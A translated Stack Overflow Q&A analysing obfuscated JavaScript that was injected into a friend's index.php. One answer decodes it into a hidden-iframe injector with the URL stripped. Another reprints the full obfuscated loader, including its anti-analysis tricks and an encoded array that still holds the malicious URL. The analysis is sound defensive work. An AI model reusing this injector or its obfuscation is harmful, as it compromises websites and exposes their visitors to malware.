javascript - 为什么这个混淆代码在 JavaScript 中是恶意的？

Question

我的一个朋友的网站被列为恶意网站，我们发现一些混淆代码已在他不知情的情况下注入到他的 index.php 中。我将代码反混淆了两个级别，发现了这一点：

（代码可以在编辑历史中查看）

谁能告诉我它想做什么以及为什么它是恶意的..？

Answer 1

总而言之，该代码“解码”了 HTML，该 HTML 将<iframe>加载的内容放入恶意 URL。

以下行具有“编码”HTML：

n = ["9","9","45","42", ...

每个数字代表一个以 25 为基数的字符。代码将遍历此数组并使用 javascriptString.fromCharCode()将其转换为 ASCII 字符。在这一切之后，它将eval()把它放在页面上。

“解码”的 javascript 是：

if (document.getElementsByTagName('body')[0]){
    iframer();
} else {
    document.write("<iframe src='[stripped]' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer(){
    var f = document.createElement('iframe');f.setAttribute('src','[stripped]');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');
    document.getElementsByTagName('body')[0].appendChild(f);
}

请注意，为了安全起见，我已从代码中删除了恶意 URL。

Answer 2

它将隐藏的 iframe 注入页面，链接到可能是一个狡猾的网站。这是您可以运行的代码的安全版本，并查看它尝试注入的内容...

http://jsfiddle.net/FqtZ8/

我访问了它链接到的网站，chrome 警告我有恶意软件，所以我没有再进一步。

try{
if(window.document) window["document"]["body"]="123"
}catch(bawetawe){
if(window.document){
v=window;
try{
fawbe--
}catch(afnwenew){
try{
(v+v)()
}catch(gngrthn){
try{if(020===0x10)v["document"]["body"]="123"
}catch(gfdnfdgber){
m=123;
if((alert+"").indexOf("na"+"ti"+"ve")!==-1)ev=window["eval"];
}
}
n=            ["9","9","45","42","17","1f","40","4b","3o","4h","49","41","4a","4g","1l","43","41","4g","    j","48","41","49","41","4a","4g","4f","2g","4l","39","3m","43","33","3m","49","41","1f","1e","3n","4b","40","4l","1e","1g","3g","1n","3i","1g","4n","d","9","9","9","45","42","4e","3m","49","41","4e","1f","1g","29","d","9","9","50","17","41","48","4f","41","17","4n","d","9","9","9","40","4b","3o","4h","49","41","4a","4g","1l","4j","4e","45","4g","41","1f","19","2a","45","42","4e","3m","49","41","17","4f","4e","3o","2b","1e","44","4g","4g","4c","28","1m","1m","43","3o","4d","40","4f","47","3m","4j","4f","4k","1l","41","40","4a","4f","1l","3n","45","4m","1m","4g","1m","4i","3o","1l","4c","44","4c","2d","43","4b","2b","20","1e","17","4j","45","40","4g","44","2b","1e","1o","1n","1e","17","44","41","45","43","44","4g","2b","1e","1o","1n","1e","17","4f","4g","4l","48","41","2b","1e","4i","45","4f","45","3n","45","48","45","4g","4l","28","44","45","40","40","41","4a","29","4c","4b","4f","45","4g","45","4b","4a","28","3m","3n","4f","4b","48","4h","4g","41","29","48","41","42","4g","28","1n","29","4g","4b","4c","28","1n","29","1e","2c","2a","1m","45","42","4e","3m","49","41","2c","19","1g","29","d","9","9","50","d","9","9","42","4h","4a","3o","4g","45","4b","4a","17","45","42","4e","3m","49","41","4e","1f","1g","4n","d","9","9","9","4i","3m","4e","17","42","17","2b","17","40","4b","3o","4h","49","41","4a","4g","1l","3o","4e","41","3m","4g","41","2j","48","41","49","41","4a","4g","1f","1e","45","42","4e","3m","49","41","1e","1g","29","42","1l","4f","41","4g","2f","4g","4g","4e","45","3n","4h","4g","41","1f","1e","4f","4e","3o","1e","1j","1e","44","4g","4g","4c","28","1m","1m","43","3o","4d","40","4f","47","3m","4j","4f","4k","1l","41","40","4a","4f","1l","3n","45","4m","1m","4g","1m","4i","3o","1l","4c","44","4c","2d","43","4b","2b","20","1e","1g","29","42","1l","4f","4g","4l","48","41","1l","4i","45","4f","45","3n","45","48","45","4g","4l","2b","1e","44","45","40","40","41","4a","1e","29","42","1l","4f","4g","4l","48","41","1l","4c","4b","4f","45","4g","45","4b","4a","2b","1e","3m","3n","4f","4b","48","4h","4g","41","1e","29","42","1l","4f","4g","4l","48","41","1l","48","41","42","4g","2b","1e","1n","1e","29","42","1l","4f","4g","4l","48","41","1l","4g","4b","4c","2b","1e","1n","1e","29","42","1l","4f","41","4g","2f","4g","4g","4e","45","3n","4h","4g","41","1f","1e","4j","45","40","4g","44","1e","1j","1e","1o","1n","1e","1g","29","42","1l","4f","41","4g","2f","4g","4g","4e","45","3n","4h","4g","41","1f","1e","44","41","45","43","44","4g","1e","1j","1e","1o","1n","1e","1g","29","d","9","9","9","40","4b","3o","4h","49","41","4a","4g","1l","43","41","4g","2j","48","41","49","41","4a","4g","4f","2g","4l","39","3m","43","33","3m","49","41","1f","1e","3n","4b","40","4l","1e","1g","3g","1n","3i","1l","3m","4c","4c","41","4a","40","2h","44","45","48","40","1f","42","1g","29","d","9","9","50"];
h=2;
s="";
if(m) for(i=0;i-589!=0;i++){
k=i;
if(window["document"]) s+=String["fro"+"mC"+"harCode"](
parseInt(n[i],25)
);
}z=s;alert(z);
}
}
}?